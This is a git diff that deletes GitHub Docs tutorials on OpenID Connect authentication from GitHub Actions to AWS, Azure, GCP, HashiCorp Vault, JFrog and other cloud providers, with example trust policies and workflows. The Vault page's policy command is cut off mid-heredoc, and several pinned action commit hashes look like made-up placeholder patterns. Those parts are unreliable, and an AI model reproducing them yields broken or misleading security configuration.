-To configure the role and trust in IAM, see the AWS documentation [Configure AWS Credentials for GitHub Actions](https://github.com/aws-actions/configure-aws-credentials#configure-aws-credentials-for-github-actions) and [Configuring a role for GitHub OIDC identity provider](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html#idp_oidc_Create_GitHub).
-
-> [!NOTE]
-> AWS Identity and Access Management (IAM) recommends that users evaluate the IAM condition key, `token.actions.githubusercontent.com:sub`, in the trust policy of any role that trusts {% data variables.product.prodname_dotcom %}’s OIDC identity provider (IdP). Evaluating this condition key in the role trust policy limits which {% data variables.product.prodname_dotcom %} actions are able to assume the role.
-
-Edit the trust policy, adding the `sub` field to the validation conditions. For example:
-
-```json copy
-"Condition": {
- "StringEquals": {
- "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:aud": "sts.amazonaws.com",
- "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch"
- }
-}
-```
-
-If you use a workflow with an environment, the `sub` field must reference the environment name: `repo:ORG-NAME/REPO-NAME:environment:ENVIRONMENT-NAME`. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token).
-
-{% data reusables.actions.oidc-deployment-protection-rules %}
-
-```json copy
-"Condition": {
- "StringEquals": {
- "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:aud": "sts.amazonaws.com",
- "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:environment:prod"
- }
-}
-```
-
-In the following example, `StringLike` is used with a wildcard operator (`*`) to allow any branch, pull request merge branch, or environment from the `octo-org/octo-repo` organization and repository to assume a role in AWS.
-
-```json copy
-{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "Federated": "arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com"
- },
- "Action": "sts:AssumeRoleWithWebIdentity",
- "Condition": {
- "StringLike": {
- "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:*"
- },
- "StringEquals": {
- "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
- }
- }
- }
- ]
-}
-```
-
-## Updating your {% data variables.product.prodname_actions %} workflow
-
-To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
-1. Use the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) action to exchange the OIDC token (JWT) for a cloud access token.
-
-### Adding permissions settings
-
-{% data reusables.actions.oidc-permissions-token %}
-
-### Requesting the access token
-
-The `aws-actions/configure-aws-credentials` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from AWS. For more information, see the AWS [documentation](https://github.com/aws-actions/configure-aws-credentials).
-
-* `BUCKET-NAME`: Replace this with the name of your S3 bucket.
-* `AWS-REGION`: Replace this with the name of your AWS region.
-* `ROLE-TO-ASSUME`: Replace this with your AWS role. For example, `arn:aws:iam::1234567890:role/example-role`
-
-```yaml copy
-# Sample workflow to access AWS resources when workflow is tied to branch
-# The workflow Creates static website using aws s3
-name: AWS example workflow
-on:
- push
-env:
- BUCKET_NAME : "BUCKET-NAME"
- AWS_REGION : "AWS-REGION"
-# permission can be added at job level or workflow level
-permissions:
- id-token: write # This is required for requesting the JWT
- contents: read # This is required for actions/checkout
-jobs:
- S3PackageUpload:
- runs-on: ubuntu-latest
- steps:
- - name: Git clone the repository
- uses: {% data reusables.actions.action-checkout %}
- - name: configure aws credentials
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
- with:
- role-to-assume: ROLE-TO-ASSUME
- role-session-name: samplerolesession
- aws-region: {% raw %}${{ env.AWS_REGION }}{% endraw %}
- # Upload a file to AWS s3
- - name: Copy index.html to s3
- run: |
- aws s3 cp ./index.html s3://{% raw %}${{ env.BUCKET_NAME }}{% endraw %}/
-```
-
-## Further reading
-
-{% data reusables.actions.oidc-further-reading %}
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
deleted file mode 100644
index 12123ea443c1..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
+++ /dev/null
@@ -1,107 +0,0 @@
----
-title: Configuring OpenID Connect in Azure
-shortTitle: OpenID Connect in Azure
-intro: Use OpenID Connect within your workflows to authenticate with Azure.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Security
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview
-
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
-
-This guide gives an overview of how to configure Azure to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`azure/login`](https://github.com/Azure/login) action that uses tokens to authenticate to Azure and access resources.
-
-## Prerequisites
-
-{% data reusables.actions.oidc-link-to-intro %}
-
-{% data reusables.actions.oidc-security-notice %}
-
-{% data reusables.actions.oidc-on-ghecom %}
-
-{% ifversion ghes %}
-{% data reusables.actions.oidc-endpoints %}
-
-
- > [!NOTE]
- > Microsoft Entra ID (previously known as Azure AD) does not have fixed IP ranges defined for these endpoints.
-
-* Make sure that the value of the issuer claim that's included with the JSON Web Token (JWT) is set to a publicly routable URL. For more information, see [AUTOTITLE](/enterprise-server@latest/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
-{% endif %}
-
-## Adding the federated credentials to Azure
-
-{% data variables.product.prodname_dotcom %}'s OIDC provider works with Azure's workload identity federation. For an overview, see Microsoft's documentation at [Workload identity federation](https://docs.microsoft.com/en-us/azure/active-directory/develop/workload-identity-federation).
-
-To configure the OIDC identity provider in Azure, you will need to perform the following configuration. For instructions on making these changes, refer to [the Azure documentation](https://docs.microsoft.com/en-us/azure/developer/github/connect-from-azure).
-
-{% ifversion fpt or ghec %}In the following procedure, you will create an application for Microsoft Entra ID (previously known as Azure AD).{% endif %}
-
-1. Create an Entra ID application and a service principal.
-1. Add federated credentials for the Entra ID application.
-1. Create {% data variables.product.prodname_dotcom %} secrets for storing Azure configuration.
-
-Additional guidance for configuring the identity provider:
-
-* For security hardening, make sure you've reviewed [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
-* For the `audience` setting, `api://AzureADTokenExchange` is the recommended value, but you can also specify other values here.
-
-## Updating your {% data variables.product.prodname_actions %} workflow
-
-To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
-1. Use the [`azure/login`](https://github.com/Azure/login) action to exchange the OIDC token (JWT) for a cloud access token.
-
-{% data reusables.actions.oidc-deployment-protection-rules %}
-
-### Adding permissions settings
-
-{% data reusables.actions.oidc-permissions-token %}
-
-### Requesting the access token
-
-The [`azure/login`](https://github.com/Azure/login) action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from Azure. For more information, see the [`azure/login`](https://github.com/Azure/login) documentation.
-
-The following example exchanges an OIDC ID token with Azure to receive an access token, which can then be used to access cloud resources.
-
-{% raw %}
-
-```yaml copy
-name: Run Azure Login with OIDC
-on: [push]
-
-permissions:
- id-token: write
- contents: read
-jobs:
- build-and-deploy:
- runs-on: ubuntu-latest
- steps:
- - name: 'Az CLI login'
- uses: azure/login@a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0
- with:
- client-id: ${{ secrets.AZURE_CLIENT_ID }}
- tenant-id: ${{ secrets.AZURE_TENANT_ID }}
- subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
-
- - name: 'Run az commands'
- run: |
- az account show
- az group list
-```
-
- {% endraw %}
-
-## Further reading
-
-{% data reusables.actions.oidc-further-reading %}
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
deleted file mode 100644
index adf82eb86915..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md
+++ /dev/null
@@ -1,146 +0,0 @@
----
-title: Configuring OpenID Connect in cloud providers
-shortTitle: OpenID Connect in cloud providers
-intro: Use OpenID Connect within your workflows to authenticate with cloud providers.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Security
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview
-
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in your cloud provider, without having to store any credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
-
-To use OIDC, you will first need to configure your cloud provider to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and must then update your workflows to authenticate using tokens.
-
-## Prerequisites
-
-{% data reusables.actions.oidc-link-to-intro %}
-
-{% data reusables.actions.oidc-security-notice %}
-
-{% data reusables.actions.oidc-on-ghecom %}
-
-## Updating your {% data variables.product.prodname_actions %} workflow
-
-To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
-1. Use the official action from your cloud provider to exchange the OIDC token (JWT) for a cloud access token.
-
-If your cloud provider doesn't yet offer an official action, you can update your workflows to perform these steps manually.
-
-{% data reusables.actions.oidc-deployment-protection-rules %}
-
-### Adding permissions settings
-
-{% data reusables.actions.oidc-permissions-token %}
-
-### Using official actions
-
-If your cloud provider has created an official action for using OIDC with {% data variables.product.prodname_actions %}, it will allow you to easily exchange the OIDC token for an access token. You can then update your workflows to use this token when accessing cloud resources.
-
-For example, Alibaba Cloud created [`aliyun/configure-aliyun-credentials-action`](https://github.com/aliyun/configure-aliyun-credentials-action) to integrate with using OIDC with {% data variables.product.prodname_dotcom %}.
-
-## Using custom actions
-
-If your cloud provider doesn't have an official action, or if you prefer to create custom scripts, you can manually request the JSON Web Token (JWT) from {% data variables.product.prodname_dotcom %}'s OIDC provider.
-
-If you're not using an official action, then {% data variables.product.prodname_dotcom %} recommends that you use the Actions core toolkit. Alternatively, you can use the following environment variables to retrieve the token: `ACTIONS_ID_TOKEN_REQUEST_TOKEN`, `ACTIONS_ID_TOKEN_REQUEST_URL`.
-
-To update your workflows using this approach, you will need to make three changes to your YAML:
-
-1. Add permissions settings for the token.
-1. Add code that requests the OIDC token from {% data variables.product.prodname_dotcom %}'s OIDC provider.
-1. Add code that exchanges the OIDC token with your cloud provider for an access token.
-
-### Requesting the JWT using the Actions core toolkit
-
-The following example demonstrates how to use `actions/github-script` with the `core` toolkit to request the JWT from {% data variables.product.prodname_dotcom %}'s OIDC provider. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages).
-
-```yaml
-jobs:
- job:
- environment: Production
- runs-on: ubuntu-latest
- steps:
- - name: Install OIDC Client from Core Package
- run: npm install @actions/core@1.6.0 @actions/http-client
- - name: Get Id Token
- uses: {% data reusables.actions.action-github-script %}
- id: idtoken
- with:
- script: |
- const coredemo = require('@actions/core')
- let id_token = await coredemo.getIDToken()
- coredemo.setOutput('id_token', id_token)
-```
-
-### Requesting the JWT using environment variables
-
-The following example demonstrates how to use environment variables to request a JSON Web Token.
-
-For your deployment job, you will need to define the token settings, using `actions/github-script` with the `core` toolkit. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages).
-
-For example:
-
-```yaml
-jobs:
- job:
- runs-on: ubuntu-latest
- steps:
- - uses: {% data reusables.actions.action-github-script %}
- id: script
- timeout-minutes: 10
- with:
- debug: true
- script: |
- const token = process.env['ACTIONS_RUNTIME_TOKEN']
- const runtimeUrl = process.env['ACTIONS_ID_TOKEN_REQUEST_URL']
- core.setOutput('TOKEN', token.trim())
- core.setOutput('IDTOKENURL', runtimeUrl.trim())
-```
-
-You can then use `curl` to retrieve a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider. For example:
-
-```yaml
- - run: |
- IDTOKEN=$(curl -H "Authorization: bearer {% raw %} ${{steps.script.outputs.TOKEN}}" ${{steps.script.outputs.IDTOKENURL}} {% endraw %} -H "Accept: application/json; api-version=2.0" -H "Content-Type: application/json" -d "{}" | jq -r '.value')
- echo $IDTOKEN
- jwtd() {
- if [[ -x $(command -v jq) ]]; then
- jq -R 'split(".") | .[0],.[1] | @base64d | fromjson' <<< "${1}"
- echo "Signature: $(echo "${1}" | awk -F'.' '{print $3}')"
- fi
- }
- jwtd $IDTOKEN
- echo "idToken=${IDTOKEN}" >> $GITHUB_OUTPUT
- id: tokenid
-```
-
-### Getting the access token from the cloud provider
-
-You will need to present the OIDC JSON web token to your cloud provider in order to obtain an access token.
-
-For each deployment, your workflows must use cloud login actions (or custom scripts) that fetch the OIDC token and present it to your cloud provider. The cloud provider then validates the claims in the token; if successful, it provides a cloud access token that is available only to that job run. The provided access token can then be used by subsequent actions in the job to connect to the cloud and deploy to its resources.
-
-The steps for exchanging the OIDC token for an access token will vary for each cloud provider.
-
-### Accessing resources in your cloud provider
-
-Once you've obtained the access token, you can use specific cloud actions or scripts to authenticate to the cloud provider and deploy to its resources. These steps could differ for each cloud provider.
-
-For example, Alibaba Cloud maintains their own instructions for OIDC authentication. For more information, see [Overview of OIDC-based SSO](https://www.alibabacloud.com/help/en/ram/user-guide/overview-of-oidc-based-sso) in the Alibaba Cloud documentation.
-
-In addition, the default expiration time of this access token could vary between each cloud and can be configurable at the cloud provider's side.
-
-## Further reading
-
-{% data reusables.actions.oidc-further-reading %}
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
deleted file mode 100644
index cbf49af87bdc..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
+++ /dev/null
@@ -1,113 +0,0 @@
----
-title: Configuring OpenID Connect in Google Cloud Platform
-shortTitle: OpenID Connect in Google Cloud Platform
-intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Security
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview
-
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets.
-
-This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources.
-
-## Prerequisites
-
-{% data reusables.actions.oidc-link-to-intro %}
-
-{% data reusables.actions.oidc-security-notice %}
-
-{% data reusables.actions.oidc-on-ghecom %}
-
-{% ifversion ghes %}
-{% data reusables.actions.oidc-endpoints %}
-
-
- > [!NOTE]
- > Google Cloud Platform does not have fixed IP ranges defined for these endpoints.
-
-* Make sure that the value of the issuer claim that's included with the JSON Web Token (JWT) is set to a publicly routable URL. For more information, see [AUTOTITLE](/enterprise-server@latest/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
-{% endif %}
-
-## Adding a Google Cloud Workload Identity Provider
-
-To configure the OIDC identity provider in GCP, you will need to perform the following configuration. For instructions on making these changes, refer to [the GCP documentation](https://github.com/google-github-actions/auth).
-
-1. Create a new identity pool.
-1. Configure the mapping and add conditions.
-1. Connect the new pool to a service account.
-
-Additional guidance for configuring the identity provider:
-
-* For security hardening, make sure you've reviewed [Configuring the OIDC trust with the cloud](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see [Configuring the subject in your cloud provider](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
-* For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions).
-* The Issuer URL to use: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}
-
-## Updating your {% data variables.product.prodname_actions %} workflow
-
-To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
-1. Use the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action to exchange the OIDC token (JWT) for a cloud access token.
-
-{% data reusables.actions.oidc-deployment-protection-rules %}
-
-### Adding permissions settings
-
-{% data reusables.actions.oidc-permissions-token %}
-
-### Requesting the access token
-
-The `google-github-actions/auth` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from GCP. For more information, see the GCP [documentation](https://github.com/google-github-actions/auth).
-
-This example has a job called `Get_OIDC_ID_token` that uses actions to request a list of services from GCP.
-
-* `WORKLOAD-IDENTITY-PROVIDER`: Replace this with the path to your identity provider in GCP. For example, `projects/example-project-id/locations/global/workloadIdentityPools/name-of-pool/providers/name-of-provider`
-* `SERVICE-ACCOUNT`: Replace this with the name of your service account in GCP.
-
-This action exchanges a {% data variables.product.prodname_dotcom %} OIDC token for a Google Cloud access token, using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation).
-
-{% raw %}
-
-```yaml copy
-name: List services in GCP
-on:
- pull_request:
- branches:
- - main
-
-permissions:
- id-token: write
-
-jobs:
- Get_OIDC_ID_token:
- runs-on: ubuntu-latest
- steps:
- - id: 'auth'
- name: 'Authenticate to GCP'
- uses: 'google-github-actions/auth@f1e2d3c4b5a6f7e8d9c0b1a2c3d4e5f6a7b8c9d0'
- with:
- create_credentials_file: 'true'
- workload_identity_provider: 'WORKLOAD-IDENTITY-PROVIDER'
- service_account: 'SERVICE-ACCOUNT'
- - id: 'gcloud'
- name: 'gcloud'
- run: |-
- gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
- gcloud services list
-```
-
-{% endraw %}
-
-## Further reading
-
-{% data reusables.actions.oidc-further-reading %}
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
deleted file mode 100644
index 4dd8bff3baa1..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault.md
+++ /dev/null
@@ -1,192 +0,0 @@
----
-title: Configuring OpenID Connect in HashiCorp Vault
-shortTitle: OpenID Connect in HashiCorp Vault
-intro: Use OpenID Connect within your workflows to authenticate with HashiCorp Vault.
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Security
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-## Overview
-
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to authenticate with a HashiCorp Vault to retrieve secrets.
-
-This guide gives an overview of how to configure HashiCorp Vault to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and demonstrates how to use this configuration in the [hashicorp/vault-action](https://github.com/hashicorp/vault-action) action to retrieve secrets from HashiCorp Vault.
-
-## Prerequisites
-
-{% data reusables.actions.oidc-link-to-intro %}
-
-{% data reusables.actions.oidc-security-notice %}
-
-{% data reusables.actions.oidc-on-ghecom %}
-
-## Adding the identity provider to HashiCorp Vault
-
-To use OIDC with HashiCorp Vault, you will need to add a trust configuration for the {% data variables.product.prodname_dotcom %} OIDC provider. For more information, see the HashiCorp Vault [documentation](https://www.vaultproject.io/docs/auth/jwt).
-
-To configure your Vault server to accept JSON Web Tokens (JWT) for authentication:
-
-1. Enable the JWT `auth` method, and use `write` to apply the configuration to your Vault.
- For `oidc_discovery_url` and `bound_issuer` parameters, use {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %}. These parameters allow the Vault server to verify the received JSON Web Tokens (JWT) during the authentication process.
-
- ```shell copy
- vault auth enable jwt
- ```
-
- ```shell copy
- vault write auth/jwt/config \
- bound_issuer="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}" \
- oidc_discovery_url="{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}"
- ```
-
- {% ifversion ghec %}
-
- > [!NOTE]
- > If a unique issuer URL for an enterprise was set using the REST API (as described in [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#switching-to-a-unique-token-url)), the values for `bound_issuer` and `oidc_discover_url` must match that unique URL. For example, for an enterprise named `octocat` that uses the unique issuer URL, `bound_issuer` and `oidc_discovery_url` must be set to `https://token.actions.githubusercontent.com/octocat`.
-
- {% endif %}
-
-1. Configure a policy that only grants access to the specific paths your workflows will use to retrieve secrets. For more advanced policies, see the HashiCorp Vault [Policies documentation](https://www.vaultproject.io/docs/concepts/policies).
-
- ```shell copy
- vault policy write myproject-production - < [!NOTE]
-> When the `permissions` key is used, all unspecified permissions are set to _no access_, with the exception of the metadata scope, which always gets _read_ access. As a result, you may need to add other permissions, such as `contents: read`. See [Automatic token authentication](/actions/security-guides/automatic-token-authentication) for more information.
-
-### Requesting the access token
-
-The `hashicorp/vault-action` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from your HashiCorp Vault instance to retrieve secrets. For more information, see the HashiCorp Vault GitHub Action [documentation](https://github.com/hashicorp/vault-action).
-
-This example demonstrates how to create a job that requests a secret from HashiCorp Vault.
-
-* `VAULT-URL`: Replace this with the URL of your HashiCorp Vault.
-* `VAULT-NAMESPACE`: Replace this with the Namespace you've set in HashiCorp Vault. For example: `admin`.
-* `ROLE-NAME`: Replace this with the role you've set in the HashiCorp Vault trust relationship.
-* `SECRET-PATH`: Replace this with the path to the secret you're retrieving from HashiCorp Vault. For example: `secret/data/production/ci npmToken`.
-
-```yaml copy
-jobs:
- retrieve-secret:
- runs-on: ubuntu-latest
- permissions:
- id-token: write
- contents: read
- steps:
- - name: Retrieve secret from Vault
- uses: hashicorp/vault-action@9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b
- with:
- method: jwt
- url: VAULT-URL
- namespace: VAULT-NAMESPACE # HCP Vault and Vault Enterprise only
- role: ROLE-NAME
- secrets: SECRET-PATH
-
- - name: Use secret from Vault
- run: |
- # This step has access to the secret retrieved above; see hashicorp/vault-action for more details.
-```
-
-> [!NOTE]
-> * If your Vault server is not accessible from the public network, consider using a self-hosted runner with other available Vault [auth methods](https://www.vaultproject.io/docs/auth). For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).
-> * `VAULT-NAMESPACE` must be set for a Vault Enterprise (including HCP Vault) deployment. For more information, see [Vault namespace](https://www.vaultproject.io/docs/enterprise/namespaces).
-
-### Revoking the access token
-
-By default, the Vault server will automatically revoke access tokens when their TTL is expired, so you don't have to manually revoke the access tokens. However, if you do want to revoke access tokens immediately after your job has completed or failed, you can manually revoke the issued token using the [Vault API](https://www.vaultproject.io/api/auth/token#revoke-a-token-self).
-
-1. Set the `exportToken` option to `true` (default: `false`). This exports the issued Vault access token as an environment variable: `VAULT_TOKEN`.
-1. Add a step to call the [Revoke a Token (Self)](https://www.vaultproject.io/api/auth/token#revoke-a-token-self) Vault API to revoke the access token.
-
-```yaml copy
-jobs:
- retrieve-secret:
- runs-on: ubuntu-latest
- permissions:
- id-token: write
- contents: read
- steps:
- - name: Retrieve secret from Vault
- uses: hashicorp/vault-action@9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b
- with:
- exportToken: true
- method: jwt
- url: VAULT-URL
- role: ROLE-NAME
- secrets: SECRET-PATH
-
- - name: Use secret from Vault
- run: |
- # This step has access to the secret retrieved above; see hashicorp/vault-action for more details.
-
- - name: Revoke token
- # This step always runs at the end regardless of the previous steps result
- if: always()
- run: |
- curl -X POST -sv -H "X-Vault-Token: {% raw %}${{ env.VAULT_TOKEN }}{% endraw %}" \
- VAULT-URL/v1/auth/token/revoke-self
-```
-
-## Further reading
-
-{% data reusables.actions.oidc-further-reading %}
diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-jfrog.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-jfrog.md
deleted file mode 100644
index df5d264bf35c..000000000000
--- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-jfrog.md
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: Configuring OpenID Connect in JFrog
-shortTitle: OpenID Connect in JFrog
-intro: Use OpenID Connect within your workflows to authenticate with JFrog.
-versions:
- fpt: '*'
- ghec: '*'
-type: tutorial
-topics:
- - Security
- - Actions
-redirect_from:
- - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-jfrog
----
-
-## Overview
-
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to authenticate with [JFrog](https://jfrog.com/) to download and publish artifacts without storing JFrog passwords, tokens, or API keys in {% data variables.product.company_short %}.
-
-This guide gives an overview of how to configure JFrog to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and demonstrates how to use this configuration in a {% data variables.product.prodname_actions %} workflow.
-
-For an example {% data variables.product.prodname_actions %} workflow, see [Sample {% data variables.product.prodname_actions %} Integration](https://jfrog.com/help/r/jfrog-platform-administration-documentation/sample-github-actions-integration) in the JFrog documentation.
-
-For an example {% data variables.product.prodname_actions %} workflow using the JFrog CLI, see [`build-publish.yml`](https://github.com/jfrog/jfrog-github-oidc-example/blob/main/.github/workflows/build-publish.yml) in the `jfrog-github-oidc-example` repository.
-
-## Prerequisites
-
-{% data reusables.actions.oidc-link-to-intro %}
-
-{% data reusables.actions.oidc-security-notice %}
-
-{% data reusables.actions.oidc-on-ghecom %}
-
-* To be secure, you need to set a Claims JSON in JFrog when configuring identity mappings. For more information, see [AUTOTITLE](https://jfrog.com/help/r/jfrog-platform-administration-documentation/configure-identity-mappings) and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims).
-
- For example, you can set `iss` to `https://token.actions.githubusercontent.com`, and the `repository` to something like "octo-org/octo-repo"`. This will ensure only Actions workflows from the specified repository will have access to your JFrog platform. The following is an example Claims JSON when configuring identity mappings.
-
- ```json copy
- {
- "iss": "https://token.actions.githubusercontent.com",
- "repository": "octo-org/octo-repo"
- }
- ```
-
-## Adding the identity provider to JFrog
-
-To use OIDC with JFrog, establish a trust relationship between {% data variables.product.prodname_actions %} and the JFrog platform. For more information about this process, see [OpenID Connect Integration](https://jfrog.com/help/r/jfrog-platform-administration-documentation/openid-connect-integration) in the JFrog documentation.
-
-1. Sign in to your JFrog Platform.
-1. Configure trust between JFrog and your {% data variables.product.prodname_actions %} workflows.
-1. Configure identity mappings.
-
-## Updating your {% data variables.product.prodname_actions %} workflow
-
-Once you establish a trust relationship between {% data variables.product.prodname_actions %} and the JFrog platform, you can update your {% data variables.product.prodname_actions %} workflow file.
-
-In your {% data variables.product.prodname_actions %} workflow file, ensure you are using the provider name and audience you configured in the JFrog Platform.
-
-The following example uses the placeholder `YOUR_PROVIDER_NAME`.
-
-```yaml
-- name: Fetch Access Token from Artifactory
- id: fetch_access_token
- env:
- ID_TOKEN: ${{ steps.idtoken.outputs.id_token }}
- run: |
- ACCESS_TOKEN=$(curl \
- -X POST \
- -H "Content-type: application/json" \
- https://example.jfrog.io/access/api/v1/oidc/token \
- -d \
- "{\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\", \"subject_token_type\":\"urn:ietf:params:oauth:token-type:id_token\", \"subject_token\": \"$ID_TOKEN\", \"provider_name\": \"YOUR_PROVIDER_NAME\"}" | jq .access_token | tr -d '"')
- echo ACCESS_TOKEN=$ACCESS_TOKEN >> $GITHUB_OUTPUT
-```
-
-The following example shows part of a {% data variables.product.prodname_actions %} workflow file using cURL.
-
-```yaml
-- name: Get ID Token (cURL method)
- id: idtoken
- run: |
- ID_TOKEN=$(curl -sLS -H "User-Agent: actions/oidc-client" -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
- "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=jfrog-github" | jq .value | tr -d '"')
- echo "ID_TOKEN=${ID_TOKEN}" >> $GITHUB_OUTPUT
-```
-
-Alternatively, you can set the audience as an environment variable using the `env` context. For more information about the `env` context, see [AUTOTITLE](/actions/learn-github-actions/contexts#env-context).
-
-{% data reusables.actions.oidc-deployment-protection-rules %}
-
